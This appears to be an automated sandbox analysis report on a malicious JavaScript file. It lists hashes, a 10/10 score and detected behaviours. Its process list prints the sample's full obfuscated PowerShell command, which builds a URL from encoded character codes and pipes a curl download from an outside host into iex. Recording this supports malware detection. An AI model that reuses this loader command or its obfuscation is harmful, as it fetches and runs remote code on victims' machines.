Analysis
-
max time kernel
118s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
21-12-2024 15:16
General
-
Target
e35f521367c99e19672b54f7a0dc1163a5ac8ff6874408c06f77e5ebf40724a1.js
-
Size
186KB
-
MD5
7cc5189ca2d57054ccc80adba28a563c
-
SHA1
ba8e92e4740c7bc7662a07838e88b1859db84ecb
-
SHA256
e35f521367c99e19672b54f7a0dc1163a5ac8ff6874408c06f77e5ebf40724a1
-
SHA512
b1f6e415d79983573a95e14d2f80cc4c80029784991fbf02f4385f808687045381a58be5b10495132d5ae19f63b0964e79c83bfa311fb1aed36ab872ad1c791c
-
SSDEEP
1536:nw7RvYONnfXO2q0oVqRcWk9MQIGONnfXO2q0xVqRcWk9MQIRVqRcWk9MQI3ONnfJ:nsSsQR9sDRsRisdso
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\e35f521367c99e19672b54f7a0dc1163a5ac8ff6874408c06f77e5ebf40724a1.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $zylgaq='ur' ;new-alias printout c$($zylgaq)l;$fbdpmocwax=(838,849,857,841,843,838,858,857,862,795,857,791,838,786,856,851,852,787,789,786,852,844,852,803,855,801,849,845,850,856,855,790,789);$qbwyunrhl=('bronx','get-cmdlet');$idcrwphquks=$fbdpmocwax;foreach($hnvamqujbpywf in $idcrwphquks){$adhjuls=$hnvamqujbpywf;$vulckhboge=$vulckhboge+[char]($adhjuls-740);$dfjlkbwixetz=$vulckhboge; $xhrmpuicok=$dfjlkbwixetz};$axweyo[2]=$xhrmpuicok;$qeljvkafns='rl';$apzvhjqcdeykf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xhrmpuicok)1⤵
- Process spawned unexpected child process